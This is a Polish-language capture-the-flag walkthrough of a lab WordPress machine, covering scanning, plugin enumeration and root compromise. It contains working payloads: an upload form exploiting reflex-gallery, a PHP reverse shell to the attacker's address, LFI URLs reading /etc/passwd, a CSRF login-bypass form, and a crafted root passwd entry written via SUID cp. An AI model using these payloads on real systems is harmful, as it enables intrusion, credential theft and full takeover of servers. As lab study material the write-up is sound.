NMap

[parrot@parrot][~/Desktop]
└╼[]$sudo nmap 192.168.2.136 -sC -sV 
Starting Nmap 7.92 ( https://nmap.org ) at 2022-07-12 02:46 CEST
Nmap scan report for 192.168.2.136
Host is up (0.046s latency).
Not shown: 999 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
80/tcp open  http    Apache httpd 2.4.29 ((Ubuntu))
|_http-title: Apache2 Ubuntu Default Page: It works
|_http-server-header: Apache/2.4.29 (Ubuntu)
MAC Address: 00:0C:29:22:84:FC (VMware)

Feroxbuster

[parrot@parrot][~/vulnhub]
└╼[]$feroxbuster -w /usr/share/wordlists/dirb/common.txt  -u http://192.168.2.136 -t 50 -d 1

 ___  ___  __   __     __      __         __   ___
|__  |__  |__) |__) | /  `    /  \ \_/ | |  \ |__
|    |___ |  \ |  \ | \__,    \__/ / \ | |__/ |___
by Ben "epi" Risher 🤓                 ver: 2.3.3
───────────────────────────┬──────────────────────
 🎯  Target Url            │ http://192.168.2.136
 🚀  Threads               │ 50
 📖  Wordlist              │ /usr/share/wordlists/dirb/common.txt
 👌  Status Codes          │ [200, 204, 301, 302, 307, 308, 401, 403, 405, 500]
 💥  Timeout (secs)7
 🦡  User-Agent            │ feroxbuster/2.3.3
 💉  Config File           │ /etc/feroxbuster/ferox-config.toml
 🔃  Recursion Depth       │ 1
 🎉  New Version Available │ https://github.com/epi052/feroxbuster/releases/latest
───────────────────────────┴──────────────────────
 🏁  Press [ENTER] to use the Scan Cancel Menu™
──────────────────────────────────────────────────
403        9l       28w      278c http://192.168.2.136/.htaccess
403        9l       28w      278c http://192.168.2.136/.hta
403        9l       28w      278c http://192.168.2.136/.htpasswd
200      375l      964w    10918c http://192.168.2.136/index.html
301        9l       28w      319c http://192.168.2.136/javascript
200        1l        1w       13c http://192.168.2.136/info.php
403        9l       28w      278c http://192.168.2.136/server-status
301        9l       28w      318c http://192.168.2.136/wordpress
[####################] - 0s      4613/4613    0s      found:8       errors:0      
[####################] - 0s      4613/4613    11419/s http://192.168.2.136

Strona główna

Po szybkim rozpoznaniu okazało się, że faktycznie mamy Wordpressa 5.2.15. Jeden ze znanych loginów to admin, ponieważ wskazuje na to poniższy pierwszy post.

Zrobiłem research i odkryłem, że mamy tutaj podatność związaną z xml-rpc.php. Znalazłem też ten pliczek w Feroxbusterze.

https://nitesculucian.github.io/2019/07/01/exploiting-the-xmlrpc-php-on-all-wordpress-versions

Wordpress

Ostatecznie ponownie wykonałem wpscan.

wpscan --url http://192.168.2.136/wordpress -e ap --plugins-detection aggressive

Odkryłem kilka podatności w pluginach. Wykorzystałem nieautoryzowany upload pliku związany z pluginem reflex-gallery 3.1.3. Utworzyłem index.html a w nim umieściłem kod oraz stworzyłem serwer, aby załadować plik.

<form method="POST" action="http://192.168.2.136/wordpress/wp-content/plugins/reflex-gallery//admin/scripts/FileUploader/php.php?Year=2022&Month=07" enctype="multipart/form-data" >
    <input type="file" name="qqfile"><br>
    <input type="submit" name="Submit" value="Pwn!">
</form>

oraz revshell.php czyli nasz reverse shell

<?php
exec("/bin/bash -c 'bash -i >& /dev/tcp/192.168.2.128/8081 0>&1'")
?>

Nasłuchiwanie na porcie 8081 oraz uruchomienie linku 192.168.2.136/wordpress/wp-content/uploads/2022/07/revshell.php dało połączenie.


www-data

Znalazłem dane w wp-config.php raj:123 oraz interesujące pliki obok folderu Wordpressa.

notes.txt

You Need to ZIP Your Wayout

W folderze domowym użytkownika raj znalazłem flag1.txt.

aHR0cHM6Ly93d3cuaGFja2luZ2FydGljbGVzLmlu

Miałem problemy z uruchomieniem linpeas.sh, ponieważ www-data nie mogł nawet nadać uprawnien +x, ale poradziłem sobie po prostu uploadując linpeas.sh przez formularz.

SUID:

Pierwsze co rzuciło mi się w oczy to SUID w niebezpiecznych binary.

/bin/cp /usr/bin/wget

Wpadłem na pomysł, że mogę to wykorzystać modyfikując plik /etc/passwd zawierający dane o użytkownikach. Dodałem na lokalnej maszynie następującą linie.

pwned:$1$ignite$3eTbJm98O9Hz.k1NTdNxe1:0:0:root:/root:/bin/bash

Następnie dzięki SUID na cp podmieniłem stary passwd na nowy.

Miałem problemy ze zmianą użytkownika, należało “ulepszyć” shell /usr/bin/script -qc /bin/bash /dev/null.

Teraz wystarczyło zmienić użytkownika na pwned:pass123. I otrzymałem roota.


Inny sposób na wejście

wp-support-plus-responsive-ticket-system 7.1.3 - CSRF oraz LFI

wpscan

[+] wp-support-plus-responsive-ticket-system
 | Location: http://192.168.2.136/wordpress/wp-content/plugins/wp-support-plus-responsive-ticket-system/
 | Last Updated: 2019-09-03T07:57:00.000Z
 | Readme: http://192.168.2.136/wordpress/wp-content/plugins/wp-support-plus-responsive-ticket-system/readme.txt
 | [!] The version is out of date, the latest version is 9.1.2
 | [!] Directory listing is enabled
 |
 | Found By: Known Locations (Aggressive Detection)
 |  - http://192.168.2.136/wordpress/wp-content/plugins/wp-support-plus-responsive-ticket-system/, status: 200
 |
 | Version: 7.1.3 (80% confidence)
 | Found By: Readme - Stable Tag (Aggressive Detection)
 |  - http://192.168.2.136/wordpress/wp-content/plugins/wp-support-plus-responsive-ticket-system/readme.txt

Ten sposób znalazłem jako pierwszy, ale brakowało mi maila.

https://security.szurek.pl/en/wp-support-plus-responsive-ticket-system-713-privilege-escalation/

https://www.exploit-db.com/exploits/40290

Mail oraz nazwe użytkownika można otrzymać właśnie przez LFI.

http://server/wp-content/plugins/mail-masta/inc/campaign/count_of_send.php?pl=/etc/passwd
http://192.168.2.136/wordpress/wp-content/plugins/mail-masta/inc/campaign/count_of_send.php?pl=/etc/apache2/.htpasswd

. Teraz możemy wykorzystać problem w pluginie.

Stworzyłem plik index.html, udostępniłem go serwerem http Pythona.

<form method="post" action="http://192.168.2.136/wordpress/wp-admin/admin-ajax.php">
Username: <input type="text" name="username" value="aarti">
<input type="hidden" name="email" value="aarti@gmail.com">
<input type="hidden" name="action" value="loginGuestFacebook">
<input type="submit" value="Login">
</form>

Klikając login wykorzystujemy lukę w pluginie i jesteśmy zalogowani na użytkowniku aarti.

aarti nie ma praw administratora, ale sprawdzając jego profil dokładnie widzimy flagę oraz hasło roota.

Second Flag: 5DD1CC591CE1569A528E3BCF18CEEB5B

Zalogowałem się na admina. Wrzuciłem w template 404.php reverse-shell-php.

I w taki sposób uruchamiając stronę http://192.168.2.136/wordpress/wp-content/themes/twentysixteen/404.php, która zawiera w sobie kod php oraz jednocześnie nasłuchując na porcie 9005, otrzymaliśmy shell jako www-data.